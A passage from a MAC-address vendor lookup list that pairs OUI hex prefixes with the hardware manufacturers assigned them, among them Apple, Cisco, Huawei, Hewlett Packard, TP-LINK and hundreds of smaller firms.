Apple, Inc. 001EC2 Apple, Inc. 002608 Apple, Inc. A4C361 Apple, Inc. AC7F3E Apple, Inc. 280B5C Apple, Inc. 90B931 Apple, Inc. 24A2E1 Apple, Inc. 80EA96 Apple, Inc. 600308 Apple, Inc. 04F13E Apple, Inc. 54724F Apple, Inc. 48746E Apple, Inc. D4F46F Apple, Inc. 787E61 Apple, Inc. 60F81D Apple, Inc. 4C7C5F Apple, Inc. 48E9F1 Apple, Inc. FCE998 Apple, Inc. F099BF Apple, Inc. 68644B Apple, Inc. 789F70 Apple, Inc. 24AB81 Apple, Inc. 581FAA Apple, Inc. A46706 Apple, Inc. 3C0754 Apple, Inc. E4CE8F Apple, Inc. E8040B Apple, Inc. B8C75D Apple, Inc. 403CFC Apple, Inc. 98FE94 Apple, Inc. D8004D Apple, Inc. 98B8E3 Apple, Inc. 80929F Apple, Inc. 885395 Apple, Inc. 9C04EB Apple, Inc. A8968A Apple, Inc. DC3714 Apple, Inc. 40331A Apple, Inc. 94F6A3 Apple, Inc. D81D72 Apple, Inc. 70ECE4 Apple, Inc. 38C986 Apple, Inc. FCFC48 Apple, Inc. 4C8D79 Apple, Inc. 207D74 Apple, Inc. F4F15A Apple, Inc. 042665 Apple, Inc. 2CB43A Apple, Inc. 689C70 Apple, Inc. 087045 Apple, Inc. 3CAB8E Apple, Inc. 7C6DF8 Apple, Inc. 48D705 Apple, Inc. 78FD94 Apple, Inc. C88550 Apple, Inc. 286AB8 Apple, Inc. 7CC3A1 Apple, Inc. 3CD0F8 Apple, Inc. 98D6BB Apple, Inc. 4CB199 Apple, Inc. 64E682 Apple, Inc. 804971 Apple, Inc. CC20E8 Apple, Inc. 209BCD Apple, Inc. F0B0E7 Apple, Inc. A056F3 Apple, Inc. 549963 Apple, Inc. 28FF3C Apple, Inc. 1094BB Apple, Inc. F01898 Apple, Inc. 48A91C Apple, Inc. 2C7E81 ARRIS Group, Inc. 5CE30E ARRIS Group, Inc. 7823AE ARRIS Group, Inc. 406231 GIFA 048AE1 FLEXTRONICS MANUFACTURING(ZHUHAI)CO.,LTD. 0C2138 Hengstler GmbH CCC2E0 Raisecom Technology CO., LTD 4CC00A vivo Mobile Communication Co., Ltd. A075EA BoxLock, Inc. 7001B5 Cisco Systems, Inc A0B045 Halong Mining ECAF97 GIT 6C21A2 AMPAK Technology, Inc. 203956 HMD Global Oy 78725D Cisco Systems, Inc 00FCBA Cisco Systems, Inc 189C27 ARRIS Group, Inc. A468BC Private CC51B4 Integrated Device Technology (Malaysia) Sdn. Bhd. 7C41A2 Nokia 64A2F9 OnePlus Technology (Shenzhen) Co., Ltd EC8C9A HUAWEI TECHNOLOGIES CO.,LTD B48655 HUAWEI TECHNOLOGIES CO.,LTD 1866C7 Shenzhen Libre Technology Co., Ltd 5CB3F6 Human, Incorporated 709FA9 TECNO MOBILE LIMITED 78D294 NETGEAR D02516 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. C8E7D8 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 58B10F Samsung Electronics Co.,Ltd 683A1E Cisco Meraki DCE0EB Nanjing Aozheng Information Technology Co.Ltd 505967 Intent Solutions Inc D0C5D8 LATECOERE 2C4759 Beijing MEGA preponderance Science & Technology Co. Ltd BC22FB RF Industries 700F6A Cisco Systems, Inc DCE305ZAO NPK Rotek 000D82 PHSNET SRLS 001A75 Sony Mobile Communications AB 000E07 Sony Mobile Communications AB 387862 Sony Mobile Communications AB 6C0E0D Sony Mobile Communications AB 0024EF Sony Mobile Communications AB 002298 Sony Mobile Communications AB 001FE4 Sony Mobile Communications AB 001D28 Sony Mobile Communications AB 0016B8 Sony Mobile Communications AB 584822 Sony Mobile Communications AB E063E5 Sony Mobile Communications AB B4527D Sony Mobile Communications AB 68764F Sony Mobile Communications AB 000149 TDT AG 24D3F2 zte corporation 007E95 Cisco Systems, Inc 2C3996 Sagemcom Broadband SAS 0054BD Swelaser AB 0057D2 Cisco Systems, Inc 3C6716 Lily Robotics 806AB0 Shenzhen TINNO Mobile Technology Corp. A0F895 Shenzhen TINNO Mobile Technology Corp. 0078CD Ignition Design Labs 2CFD37 Blue Calypso, Inc. 0C6127 Actiontec Electronics, Inc 001B11 D-Link Corporation 001E58 D-Link Corporation 002191 D-Link Corporation 0022B0 D-Link Corporation F07D68 D-Link Corporation 78542E D-Link International 3CDD89 SOMO HOLDINGS & TECH. CO.,LTD. 2C56DC ASUSTek COMPUTER INC. B8AF67 Hewlett Packard 188B45 Cisco Systems, Inc B0C090 Chicony Electronics Co., Ltd. 1CA770 SHENZHEN CHUANGWEI-RGB ELECTRONICS CO.,LTD C42F90 Hangzhou Hikvision Digital Technology Co.,Ltd. A42BB0 TP-LINK TECHNOLOGIES CO.,LTD. 4CE676 BUFFALO.INC B0C745 BUFFALO.INC CCE1D5 BUFFALO.INC B8FC9A Le Shi Zhi Xin Electronic Technology (Tianjin) Limited 2C4138 Hewlett Packard 2C768A Hewlett Packard 0018FE Hewlett Packard 0019BB Hewlett Packard 002264 Hewlett Packard 002481 Hewlett Packard 000D9D Hewlett Packard 0014C2 Hewlett Packard 788B77 Standar Telecom 84ACFB Crouzet Automatismes 34BA75 Tembo Systems, Inc. 9486CD SEOUL ELECTRONICS&TELECOM 94ABDE OMX Technology - FZE 000E35 Intel Corporation 00207B Intel Corporation 0013CE Intel Corporate 801934 Intel Corporate B8B81E Intel Corporate 185E0F Intel Corporate C80E77 Le Shi Zhi Xin Electronic Technology (Tianjin) Limited 843497 Hewlett Packard ECB1D7 Hewlett Packard 3CA82A Hewlett Packard 480FCF Hewlett Packard 5820B1 Hewlett Packard 2C233A Hewlett Packard 000EB3 Hewlett Packard 0004EA Hewlett Packard 00306E Hewlett Packard 0060B0 Hewlett Packard 24BE05 Hewlett Packard 000423 Intel Corporation 0008C7 Hewlett Packard 0010E3 Hewlett Packard 00805F Hewlett Packard BCEAFA Hewlett Packard 5C8A38 Hewlett Packard D89D67 Hewlett Packard 2C44FD Hewlett Packard F0921C Hewlett Packard B4B52F Hewlett Packard 902155 HTC Corporation 64A769 HTC Corporation BCCFCC HTC Corporation B0F1A3 Fengfan (BeiJing) Technology Co., Ltd. 7C7D3D HUAWEI TECHNOLOGIES CO.,LTD 4482E5 HUAWEI TECHNOLOGIES CO.,LTD 542758 Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. 4CD08A HUMAX Co., Ltd. 20906F Shenzhen Tencent Computer System Co., Ltd. 1C7839 Shenzhen Tencent Computer System Co., Ltd. A4516F Microsoft Mobile Oy 246081 razberi technologies 8CAB8E Shanghai Feixun Communication Co.,Ltd. EC26CA TP-LINK TECHNOLOGIES CO.,LTD. 2C088C HUMAX Co., Ltd. 40F308 Murata Manufacturing Co., Ltd. 5CDAD4 Murata Manufacturing Co., Ltd. 000E6D Murata Manufacturing Co., Ltd. B05B67 HUAWEI TECHNOLOGIES CO.,LTD 38F889 HUAWEI TECHNOLOGIES CO.,LTD F4DCF9 HUAWEI TECHNOLOGIES CO.,LTD 904E2B HUAWEI TECHNOLOGIES CO.,LTD 0C96BF HUAWEI TECHNOLOGIES CO.,LTD 9CC172 HUAWEI TECHNOLOGIES CO.,LTD 384608 zte corporation B4B362 zte corporation B075D5 zte corporation 08181A zte corporation 002512 zte corporation 70A8E3 HUAWEI TECHNOLOGIES CO.,LTD F84ABF HUAWEI TECHNOLOGIES CO.,LTD 4CB16C HUAWEI TECHNOLOGIES CO.,LTD 4C1FCC HUAWEI TECHNOLOGIES CO.,LTD 486276 HUAWEI TECHNOLOGIES CO.,LTD AC4E91 HUAWEI TECHNOLOGIES CO.,LTD E468A3 HUAWEI TECHNOLOGIES CO.,LTD 80D09B HUAWEI TECHNOLOGIES CO.,LTD 581F28 HUAWEI TECHNOLOGIES CO.,LTD 8C34FD HUAWEI TECHNOLOGIES CO.,LTD 90671C HUAWEI TECHNOLOGIES CO.,LTD 587F66 HUAWEI TECHNOLOGIES CO.,LTD BC25E0 HUAWEI TECHNOLOGIES CO.,LTD C4072F HUAWEI TECHNOLOGIES CO.,LTD 0CD6BD HUAWEI TECHNOLOGIES CO.,LTD A49947 HUAWEI TECHNOLOGIES CO.,LTD 346BD3 HUAWEI TECHNOLOGIES CO.,LTD 1C1D67 HUAWEI TECHNOLOGIES CO.,LTD 84A8E4 HUAWEI TECHNOLOGIES CO.,LTD 202BC1 HUAWEI TECHNOLOGIES CO.,LTD 002586 TP-LINK TECHNOLOGIES CO.,LTD. F8D111 TP-LINK TECHNOLOGIES CO.,LTD. F4EC38 TP-LINK TECHNOLOGIES CO.,LTD. 20DCE6 TP-LINK TECHNOLOGIES CO.,LTD. 1C6E4C Logistic Service & Engineering Co.,Ltd 00101F Cisco Systems, Inc 001054 Cisco Systems, Inc DCEB94 Cisco Systems, Inc 5C838F Cisco Systems, Inc AC7E8A Cisco Systems, Inc 382056 Cisco Systems, Inc 00502A Cisco Systems, Inc 005014 Cisco Systems, Inc 0090D9 Cisco Systems, Inc 009092 Cisco Systems, Inc 001029 Cisco Systems, Inc 001007 Cisco Systems, Inc 00605C Cisco Systems, Inc 00E0F7 Cisco Systems, Inc 00E0B0 Cisco Systems, Inc 00E0FE Cisco Systems, Inc 00E0A3 Cisco Systems, Inc 00E0F9 Cisco Systems, Inc 001BD7 Cisco SPVTG 105172 HUAWEI TECHNOLOGIES CO.,LTD 9017AC HUAWEI TECHNOLOGIES CO.,LTD 94049C HUAWEI TECHNOLOGIES CO.,LTD 5006AB Cisco Systems, Inc 0050E2 Cisco Systems, Inc 005050 Cisco Systems, Inc 009021 Cisco Systems, Inc 0090B1 Cisco Systems, Inc 00023D Cisco Systems, Inc 18E728 Cisco Systems, Inc 2C3ECF Cisco Systems, Inc 1005CA Cisco Systems, Inc 1CDEA7 Cisco Systems, Inc 1C6A7A Cisco Systems, Inc CCD8C1 Cisco Systems, Inc 7C0ECE Cisco Systems, Inc F09E63 Cisco Systems, Inc F07F06 Cisco Systems, Inc 84802D Cisco Systems, Inc E0899D Cisco Systems, Inc A89D21 Cisco Systems, Inc BCF1F2 Cisco Systems, Inc C80084 Cisco Systems, Inc A0F849 Cisco Systems, Inc 88908D Cisco Systems, Inc A46C2A Cisco Systems, Inc 0021BE Cisco SPVTG 7CB21B Cisco SPVTG 002643 ALPS ELECTRIC CO.,LTD. 002433 ALPS ELECTRIC CO.,LTD. 745E1C PIONEER CORPORATION 0006F5 ALPS ELECTRIC CO.,LTD. 0006F7 ALPS ELECTRIC CO.,LTD. 000704 ALPS ELECTRIC CO.,LTD. 1C1D86 Cisco Systems, Inc 001A92 ASUSTek COMPUTER INC. 001D60 ASUSTek COMPUTER INC. 002215 ASUSTek COMPUTER INC. 20CF30 ASUSTek COMPUTER INC. E0CB4E ASUSTek COMPUTER INC. 1C872C ASUSTek COMPUTER INC. C4143C Cisco Systems, Inc 2401C7 Cisco Systems, Inc 04DAD2 Cisco Systems, Inc F41FC2 Cisco Systems, Inc 4C0082 Cisco Systems, Inc DCA5F4 Cisco Systems, Inc 7C95F3 Cisco Systems, Inc 5017FF Cisco Systems, Inc E8EDF3 Cisco Systems, Inc 78DA6E Cisco Systems, Inc 24E9B3 Cisco Systems, Inc 1402EC Hewlett Packard Enterprise 707938 Wuxi Zhanrui Electronic Technology Co.,LTD 646A74 AUTH-SERVERS, LLC 34C9F0 LM Technologies Ltd E034E4 Feit Electric Company, Inc. 98E848 Axiim A0F9E0 VIVATEL COMPANY LIMITED F8C372 TSUZUKI DENKI 908D78 D-Link International A4CC32 Inficomm Co., Ltd 582BDB Pax AB D00F6D T&W Electronics Company 48BF74 Baicells Technologies Co.,LTD 38F557 JOLATA, INC. 280E8B Beijing Spirit Technology Development Co., Ltd. F44D30 Elitegroup Computer Systems Co.,Ltd. DC9A8E Nanjing Cocomm electronics co., LTD C4EF70 Home Skinovations B813E9 Trace Live Network 746F19 ICARVISIONS (SHENZHEN) TECHNOLOGY CO., LTD. 7C7176 Wuxi iData Technology Company Ltd. 68A828 HUAWEI TECHNOLOGIES CO.,LTD 988744 Wuxi Hongda Science and Technology Co.,LTD 9C8DD3 Leonton Technologies 246C8A YUKAI Engineering A43831 RF elements s.r.o. D0BAE4 Shanghai MXCHIP Information Technology Co., Ltd. A4DCBE HUAWEI TECHNOLOGIES CO.,LTD 10CC1B Liverock technologies,INC 48B620 ROLI Ltd. 20D160 Private 382187 Midea Group Co., Ltd. 305A3A ASUSTek COMPUTER INC. A87285 IDT, INC. AC1FD7 Real Vision Technology Co.,Ltd. C8A2CE Oasis Media Systems LLC A4DEC9 QLove Mobile Intelligence Information Technology (W.H.) Co. Ltd. A4A6A9 Private 9C7A03 Ciena Corporation 380AAB Formlabs F41535 SPON Communication Technology Co.,Ltd E41A2C ZPE Systems, Inc. A815D6 Shenzhen Meione Technology CO., LTD D09380 Ducere Technologies Pvt. Ltd. 84A788 Perples 6889C1 HUAWEI TECHNOLOGIES CO.,LTD 845B12 HUAWEI TECHNOLOGIES CO.,LTD 143EBF zte corporation 041E7A DSPWorks 38B725 Wistron Infocomm (Zhongshan) Corporation 4CC681 Shenzhen Aisat Electronic Co., Ltd. 28B9D9 Radisys Corporation E0553D Cisco Meraki 0894EF Wistron Infocomm (Zhongshan) Corporation E0319E Valve Corporation E4A32F Shanghai Artimen Technology Co., Ltd. D47BB0 ASKEY COMPUTER CORP 5045F7 Liuhe Intelligence Technology Ltd. 20F510 Codex Digital Limited 788E33 Jiangsu SEUIC Technology Co.,Ltd E01AEA Allied Telesis, Inc. 340CED Moduel AB 507B9D LCFC(HeFei) Electronics Technology co., ltd 6C7220 D-Link International F02624 WAFA TECHNOLOGIES CO., LTD. F8F464 Rawe Electonic GmbH F4672D ShenZhen Topstar Technology Company 382B78 ECO PLUGS ENTERPRISE CO., LTD BCEB5F Fujian Beifeng Telecom Technology Co., Ltd. 800B51 Chengdu XGimi Technology Co.,Ltd 00FC8D Hitron Technologies. Inc 1CC586 Absolute Acoustics E076D0 AMPAK Technology, Inc. 24B0A9 Shanghai Mobiletek Communication Ltd. 64167F Polycom 54E2C8 Dongguan Aoyuan Electronics Technology Co., Ltd 20D75A Posh Mobile Limited 88D37B FirmTek, LLC 10AF78 Shenzhen ATUE Technology Co., Ltd B0966C Lanbowan Technology Ltd. A408EA Murata Manufacturing Co., Ltd. D4F9A1 HUAWEI TECHNOLOGIES CO.,LTD 9CB6D0 Rivet Networks D0C0BF Actions Microelectronics Co., Ltd E04B45 Hi-P Electronics Pte Ltd 6C4598 Antex Electronic Corp. 94A7B7 zte corporation 3C8375 Microsoft Corporation C8458F Wyler AG 149A10 Microsoft Corporation FC9AFA Motus Global Inc. 5CB43E HUAWEI TECHNOLOGIES CO.,LTD FCE1FB Array Networks 54E140 INGENICO 14157C TOKYO COSMOS ELECTRIC CO.,LTD. 408D5C GIGA-BYTE TECHNOLOGY CO.,LTD. 6CE01E Modcam AB E8F2E3 Starcor Beijing Co.,Limited D048F3 DATTUS Inc CC19A8 PT Inovação e Sistemas SA 6C4418 Zappware 44962B Aidon Oy D4D7A9 Shanghai Kaixiang Info Tech LTD 185D9A BobjGear LLC 884157 Shenzhen Atsmart Technology Co.,Ltd. 3CDA2A zte corporation 747336 MICRODIGTAL Inc 0CE725 Microsoft Corporation 6C2E72 B&B EXPORTING LIMITED FC3288 CELOT Wireless Co., Ltd BCB308 HONGKONG RAGENTEK COMMUNICATION TECHNOLOGY CO.,LIMITED 445ECD Razer Inc 749637 Todaair Electronic Co., Ltd 2031EB HDSN C0335E Microsoft ACCAAB Virtual Electric Inc 241B44 Hangzhou Tuners Electronics Co., Ltd 90C35F Nanjing Jiahao Technology Co., Ltd. 18F145 NetComm Wireless Limited 4CA515 Baikal Electronics JSC 9CE230 JULONG CO,.LTD. 34873D Quectel Wireless Solution Co.,Ltd. 186882 Beward R&D Co., Ltd. 344CA4 amazipoint technology Ltd. A8F038 SHEN ZHEN SHI JIN HUA TAI ELECTRONICS CO.,LTD 74E277 Vizmonet Pte Ltd 10A659 Mobile Create Co.,Ltd. 58856E QSC AG FCAFAC Socionext Inc. F8C397 NZXT Corp. Ltd. C4366C LG Innotek 60D9A0 Lenovo Mobile Communication Technology Ltd. 5C3B35 Gehirn Inc. 5CF7C3 SYNTECH (HK) TECHNOLOGY LIMITED 3CC2E1 XINHUA CONTROL ENGINEERING CO.,LTD 7C534A Metamako 9C3066 RWE Effizienz GmbH FCA22A PT. Callysta Multi Engineering 247656 Shanghai Net Miles Fiber Optics Technology Co., LTD. A0ADA1 JMR Electronics, Inc 601970 HUIZHOU QIAOXING ELECTRONICS TECHNOLOGY CO., LTD. 887033 Hangzhou Silan Microelectronic Inc 8C7967 zte corporation 78F944 Private CCA4AF Shenzhen Sowell Technology Co., LTD 84F129 Metrascale Inc. 2028BC Visionscape Co,. Ltd. B8F080 SPS, INC. 7858F3 Vachen Co.,Ltd FCDC4A G-Wearables Corp. F42C56 SENOR TECH CO LTD 50502A Egardia 48EE0C D-Link International 48C093 Xirrus, Inc. 3C1A0F ClearSky Data ACB57D Liteon Technology Corporation DCE1AD Shenzhen Wintop Photoelectric Technology Co., Ltd 900CB4 Alinket Electronic Technology Co., Ltd 883B8B Cheering Connection Co. Ltd. 94D417 GPI KOREA INC. D855A3 zte corporation 70DA9C TECSEN 6CF5E8 Mooredoll Inc. 70FF5C Cheerzing Communication(Xiamen)Technology Co.,Ltd 08115E Bitel Co., Ltd. 44CE7D SFR 0881BC HongKong Ipro Technology Co., Limited 4C16F1 zte corporation 800902 Keysight Technologies, Inc. 6872DC CETORY.TV Company Limited D8B6B7 Comtrend Corporation 0499E6 Shenzhen Yoostar Technology Co., Ltd 94BF95 Shenzhen Coship Electronics Co., Ltd FC9FE1 CONWIN.Tech. Ltd 90203A BYD Precision Manufacture Co.,Ltd A81B5D Foxtel Management Pty Ltd B8BD79 TrendPoint Systems 2C010B NASCENT Technology, LLC - RemKon D4EC86 LinkedHope Intelligent Technologies Co., Ltd 20A99B Microsoft Corporation A0A3E2 Actiontec Electronics, Inc 54098D deister electronic GmbH F0FE6B Shanghai High-Flying Electronics Technology Co., Ltd 3CAE69 ESA Elektroschaltanlagen Grimma GmbH 00F3DB WOO Sports 08A5C8 Sunnovo International Limited CCBDD3 Ultimaker B.V. 50294D NANJING IOT SENSOR TECHNOLOGY CO,LTD 0CCFD1 SPRINGWAVE Co., Ltd 58108C Intelbras 187117 eta plus electronic gmbh 7CB177 Satelco AG 8C5D60 UCI Corporation Co.,Ltd. 4C0BBE Microsoft 08EB29 Jiangsu Huitong Group Co.,Ltd. E48C0F Discovery Insure 587FB7 SONAR INDUSTRIAL CO., LTD. E42354 SHENZHEN FUZHI SOFTWARE TECHNOLOGY CO.,LTD 207693 Lenovo (Beijing) Limited. C4BD6A SKF GmbH 14488B Shenzhen Doov Technology Co.,Ltd 603696 The Sapling Company 54FFCF Mopria Alliance BCBC46 SKS Welding Systems GmbH A8D88A Wyconn 00E6E8 Netzin Technology Corporation,.Ltd. 64B21D Chengdu Phycom Tech Co., Ltd. 88708C Lenovo Mobile Communication Technology Ltd. F03D29 Actility 909F33 EFM Networks 849681 Cathay Communication Co.,Ltd A056B2 Harman/Becker Automotive Systems GmbH 40C62A Shanghai Jing Ren Electronic Technology Co., Ltd. E8150E Nokia Corporation F4D032 Yunnan Ideal Information&Technology.,Ltd 44A6E5 THINKING TECHNOLOGY CO.,LTD A8329A Digicom Futuristic Technologies Ltd. B40AC6 DEXON Systems Ltd. 5CB8CB Allis Communications E85D6B Luminate Wireless 8C3357 HiteVision Digital Media Technology Co.,Ltd. F4D261 SEMOCON Co., Ltd D05AF1 Shenzhen Pulier Tech CO.,Ltd 481A84 Pointer Telocation Ltd DC663A Apacer Technology Inc. B009D3 Avizia 3CAA3F iKey, Ltd. 0C383E Fanvil Technology Co., Ltd. 60CDA9 Abloomy B40B44 Smartisan Technology Co., Ltd. A0FC6E Telegrafia a.s. D0FA1D Qihoo360Technology Co.,Ltd 046785 scemtec Hard- und Software fuer Mess- und Steuerungstechnik GmbH FC6DC0 BME CORPORATION 784561 CyberTAN Technology Inc. 300D2A Zhejiang Wellcom Technology Co.,Ltd. 64EAC5 SiboTech Automation Co., Ltd. F4F26D TP-LINK TECHNOLOGIES CO.,LTD. 5C1515 ADVAN D0A0D6 Chengdu TD Tech Ltd. 8CBF9D Shanghai Xinyou Information Technology Ltd. Co. D49398 Nokia Corporation 78D66F Aristocrat Technologies Australia Pty. Ltd. 50C7BF TP-LINK TECHNOLOGIES CO.,LTD. C06118 TP-LINK TECHNOLOGIES CO.,LTD. D0C7C0 TP-LINK TECHNOLOGIES CO.,LTD. 209AE9 Volacomm Co., Ltd 345D10 Wytek 58E326 Compass Technologies Inc. 848DC7 Cisco SPVTG A8BD3A UNIONMAN TECHNOLOGY CO.,LTD C44E1F BlueN CCA614 AIFA TECHNOLOGY CORP. B0869E Chloride S.r.L 344F5C R&M AG A46CC1 LTi REEnergy GmbH 90DB46 E-LEAD ELECTRONIC CO., LTD D42F23 Akenori PTE Ltd 286336 Siemens AG - Industrial Automation - EWA 38F098 Vapor Stone Rail Systems 400107 Arista Corp 4C8B30 Actiontec Electronics, Inc 0805CD DongGuang EnMai Electronic Product Co.Ltd. 0092FA SHENZHEN WISKY TECHNOLOGY CO.,LTD 4CF45B Blue Clover Devices B06971 DEI Sales, Inc. 580528 LABRIS NETWORKS 28656B Keystone Microtech Corporation EC2E4E HITACHI-LG DATA STORAGE INC 505800 WyTec International, Inc. 78923E Nokia Corporation D4CFF9 Shenzhen Sen5 Technology Co., Ltd. D8492F CANON INC. 145645 Savitech Corp. D4E08E ValueHD Corporation 70305D Ubiquoss Inc 5850AB TLS Corporation 90DFB7 s.m.s smart microwave sensors GmbH B843E4 Vlatacom E07F53 TECHBOARD SRL 4C0DEE JABIL CIRCUIT (SHANGHAI) LTD. A07771 Vialis BV D0BD01 DS International C0C569 SHANGHAI LYNUC CNC TECHNOLOGY CO.,LTD 200E95 IEC – TC9 WG43 E0DB88 Open Standard Digital-IF Interface for SATCOM Systems D86194 Objetivos y Sevicios de Valor Añadido 589CFC FreeBSD Foundation 98349D Krauss Maffei Technologies GmbH 18CC23 Philio Technology Corporation 648D9E IVT Electronic Co.,Ltd CC95D7 Vizio, Inc 749C52 Huizhou Desay SV Automotive Co., Ltd. C0F79D Powercode 3C0C48 Servergy, Inc. 68D247 Portalis LC FC27A2 TRANS ELECTRIC CO., LTD. 14C089 DUNE HD LTD F08A28 JIANGSU HENGSION ELECTRONIC S and T CO.,LTD A8574E TP-LINK TECHNOLOGIES CO.,LTD. DC3EF8 Nokia Corporation 706173 Calantec GmbH 50C271 SECURETECH INC 7C49B9 Plexus Manufacturing Sdn Bhd 184462 Riava Networks, Inc. 9C443D CHENGDU XUGUANG TECHNOLOGY CO, LTD 74A4B5 Powerleader Science and Technology Co. Ltd. BC4100 CODACO ELECTRONIC s.r.o. 7CCD3C Guangzhou Juzing Technology Co., Ltd 10B26B base Co.,Ltd. DCCEBC Shenzhen JSR Technology Co.,Ltd. 9486D4 Surveillance Pro Corporation F89550 Proton Products Chengdu Ltd 447BC4 DualShine Technology(SZ)Co.,Ltd 542F89 Euclid Laboratories, Inc. 48B977 PulseOn Oy AC2DA3 TXTR GmbH C8F68D S.E.TECHNOLOGIES LIMITED BC14EF ITON Technology Limited 14F28E ShenYang ZhongKe-Allwin Technology Co.LTD C064C6 Nokia Corporation 9C44A6 SwiftTest, Inc. 44C4A9 Opticom Communication, LLC 6C3C53 SoundHawk Corp 64BABD SDJ Technologies, Inc. 889166 Viewcooper Corp. 103378 FLECTRON Co., LTD DC0575 SIEMENS ENERGY AUTOMATION 5C1193 Seal One AG 50E14A Private 68FCB3 Next Level Security Systems, Inc. 70305E Nanjing Zhongke Menglian Information Technology Co.,LTD 9C8888 Simac Techniek NV 180C14 iSonea Limited 8CAE89 Y-cam Solutions Ltd 58B961 SOLEM Electronique F46ABC Adonit Corp. Ltd. 20180E Shenzhen Sunchip Technology Co., Ltd 80B219 ELEKTRON TECHNOLOGY UK LIMITED D08A55 Skullcandy C4D655 Tercel technology co.,ltd 9CA10A SCLE SFE 78D99F NuCom HK Ltd. 44C56F NGN Easy Satfinder (Tianjin) Electronic Co., Ltd 2C5A05 Nokia Corporation 848336 Newrun EC71DB Shenzhen Baichuan Digital Technology Co., Ltd. B8266C ANOV France 284D92 Luminator 1C4BB9 SMG ENTERPRISE, LLC 0C5CD8 DOLI Elektronik GmbH 2C5FF3 Pertronic Industries E0AF4B Pluribus Networks, Inc. C85663 Sunflex Europe GmbH 88FED6 ShangHai WangYong Software Co., Ltd. 600347 Billion Electric Co. Ltd. 084027 Gridstore Inc. 7C2048 KoamTac 705986 OOO TTV 20DF3F Nanjing SAC Power Grid Automation Co., Ltd. 30786B TIANJIN Golden Pentagon Electronics Co., Ltd. 4CD637 Qsono Electronics Co., Ltd 8CF945 Power Automation pte Ltd 2C922C Kishu Giken Kogyou Company Ltd,. 509871 Inventum Technologies Private Limited 384233 Wildeboer Bauteile GmbH 9440A2 Anywave Communication Technologies, Inc. 7CB77B Paradigm Electronics Inc 28A241 exlar corp 9876B6 Adafruit AC220B ASUSTek COMPUTER INC. 88354C Transics 709BFC Bryton Inc. D82D9B Shenzhen G.Credit Communication Technology Co., Ltd 94BF1E eflow Inc. / Smart Device Planning and Development Division C0A39E EarthCam, Inc. 088E4F SF Software Solutions DCAE04 CELOXICA Ltd 5422F8 zte corporation 486E73 Pica8, Inc. A0CEC8 CE LINK LIMITED 907A28 Beijing Morncloud Information And Technology Co. Ltd. CCD29B Shenzhen Bopengfa Elec&Technology CO.,Ltd 9C4EBF BoxCast 34A68C Shine Profit Development Limited 78DAB3 GBO Technology 80BBEB Satmap Systems Ltd 949FB4 ChengDu JiaFaAnTai Technology Co.,Ltd 406826 Thales UK Limited 5C15E1 AIDC TECHNOLOGY (S) PTE LTD 048D38 Netcore Technology Inc. 1C4AF7 AMON INC 985D46 PeopleNet Communication 446755 Orbit Irrigation 789F4C HOERBIGER Elektronik GmbH 98F8C1 IDT Technology Limited F47A4E Woojeon&Handan 44700B IFFU 8C2F39 IBA Dosimetry GmbH B8F828 Changshu Gaoshida Optoelectronic Technology Co. Ltd. 58468F Koncar Electronics and Informatics 746630 T:mi Ytti B0FEBD Private 940BD5 Himax Technologies, Inc 30055C Brother industries, LTD. 0C8268 TP-LINK TECHNOLOGIES CO.,LTD. B01743 EDISON GLOBAL CIRCUITS LLC 90DA4E AVANU 7038B4 Low Tech Solutions 4C804F Armstrong Monitoring Corp 901D27 zte corporation 7CD762 Freestyle Technology Pty Ltd D073D5 LIFI LABS MANAGEMENT PTY LTD B8C46F PRIMMCON INDUSTRIES INC 505AC6 GUANGDONG SUPER TELECOM CO.,LTD. 38A86B Orga BV 141330 Anakreon UK LLP 0CF405 Beijing Signalway Technologies Co.,Ltd 1C76CA Terasic Technologies Inc. 0C1105 Ringslink (Xiamen) Network Communication Technologies Co., Ltd 945047 Rechnerbetriebsgruppe D8DCE9 Kunshan Erlab ductless filtration system Co.,Ltd 54112F Sulzer Pump Solutions Finland Oy 4C55B8 Turkcell Teknoloji 088039 Cisco SPVTG 2C72C3 Soundmatters 84E4D9 Shenzhen NEED technology Ltd. C44838 Satcom Direct, Inc. 545414 Digital RF Corea, Inc 24EB65 SAET I.S. S.r.l. D0F27F SteadyServ Technoligies, LLC DC647C C.R.S. iiMotion GmbH 188410 CoreTrust Inc. A08A87 HuiZhou KaiYue Electronic Co.,Ltd 04BFA8 ISB Corporation 5C8486 Brightsource Industries Israel LTD 28CD9C Shenzhen Dynamax Software Development Co.,Ltd. E0EDC7 Shenzhen Friendcom Technology Development Co., Ltd 2CF203 EMKO ELEKTRONIK SAN VE TIC AS 246278 sysmocom - systems for mobile communications GmbH F45842 Boxx TV Ltd A861AA Cloudview Limited C89346 MXCHIP Company Limited F0F260 Mobitec AB 1423D7 EUTRONIX CO., LTD. 3CFB96 Emcraft Systems LLC 081F3F WondaLink Inc. DC6F08 Bay Storage Technology E492E7 Gridlink Tech. Co.,Ltd. 60BB0C Beijing HuaqinWorld Technology Co,Ltd 70E027 HONGYU COMMUNICATION TECHNOLOGY LIMITED E880D8 GNTEK Electronics Co.,Ltd. 188857 Beijing Jinhong Xi-Dian Information Technology Corp. 287994 Realplay Digital Technology(Shenzhen) Co.,Ltd 105C3B Perma-Pipe, Inc. 40C4D6 ChongQing Camyu Technology Development Co.,Ltd. A0EB76 AirCUVE Inc. 6C6126 Rinicom Holdings C04DF7 SERELEC ECD040 GEA Farm Technologies GmbH 005907 LenovoEMC Products USA, LLC 78B3CE Elo touch solutions A8FB70 WiseSec L.t.d 30F31D zte corporation E4776B AARTESYS AG 5C335C Swissphone Telecom AG A4FCCE Security Expert Ltd. E0CEC3 ASKEY COMPUTER CORP 5C43D2 HAZEMEYER D819CE Telesquare D809C3 Cercacor Labs 84ED33 BBMC Co.,Ltd 681E8B InfoSight Corporation C044E3 Shenzhen Sinkna Electronics Co., LTD 08F1B7 Towerstream Corpration 20858C Assa 187A93 AMICCOM Electronics Corporation 94C962 Teseq AG 384369 Patrol Products Consortium LLC D08B7E Passif Semiconductor 6886E7 Orbotix, Inc. 2CE871 Alert Metalguard ApS 58D071 BW Broadcast C0A0C7 FAIRFIELD INDUSTRIES 98208E Definium Technologies 704AE4 Rinstrum Pty Ltd 68B8D9 Act KDE, Inc. F84897 Hitachi, Ltd. 74E424 APISTE CORPORATION 58D6D3 Dairy Cheq Inc 68FB95 Generalplus Technology Inc. E4C146 Objetivos y Servicios de Valor A D4BF2D SE Controls Asia Pacific Ltd C45DD8 HDMI Forum C44EAC Shenzhen Shiningworth Technology Co., Ltd. C458C2 